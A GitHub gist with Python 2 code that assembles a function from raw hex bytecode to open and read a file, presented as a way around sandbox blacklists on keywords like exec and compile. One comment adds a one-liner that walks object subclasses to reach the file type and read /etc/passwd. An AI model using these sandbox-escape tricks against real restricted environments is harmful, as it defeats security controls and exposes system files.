Skip to content

Instantly share code, notes, and snippets.

@pbiernat
Created September 6, 2014 02:31
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save pbiernat/c1a911a595f0844ee21f to your computer and use it in GitHub Desktop.
Save pbiernat/c1a911a595f0844ee21f to your computer and use it in GitHub Desktop.
'''
A simple demonstration of obtaining, modifying and executing code objects in python without relying
on commonly blocked keywords such as exec, compile, etc...
-Patrick Biernat.
'''
import __builtin__
mydict = {}
mydict['__builtins__'] = __builtin__
def f():
pass
def mkfunc():
function = type(f)
code = type(f.__code__)
bytecode = "7400006401006402008302006a010083000053".decode('hex')
filename = "./poc.py"
consts = (None,filename,'r')
names = ('open','read')
codeobj = code(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
return function(codeobj, mydict, None, None, None)
g = mkfunc()
print g()
@wangst321
Copy link

I have to change the content of bytecode on my machine, in order to make it work.
bytecode = "74000064010064020083020069010083000053"

or segmentation fault

@freddyb
Copy link

freddyb commented Jul 28, 2015

What kind of blacklist did you try to evade, @pbiernat?

I was wondering if an exploit that uses the method resolution order could be used as well.

TLDR:

(t for t in (42).__class__.__base__.__subclasses__() if t.__name__ == 'file').next()('/etc/passwd').read()

@ayubmetah
Copy link

Traceback (most recent call last):
File "POC.py", line 8, in
import builtin
ModuleNotFoundError: No module named 'builtin'

@ansipunk
Copy link

@ayubmetah Python 2

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment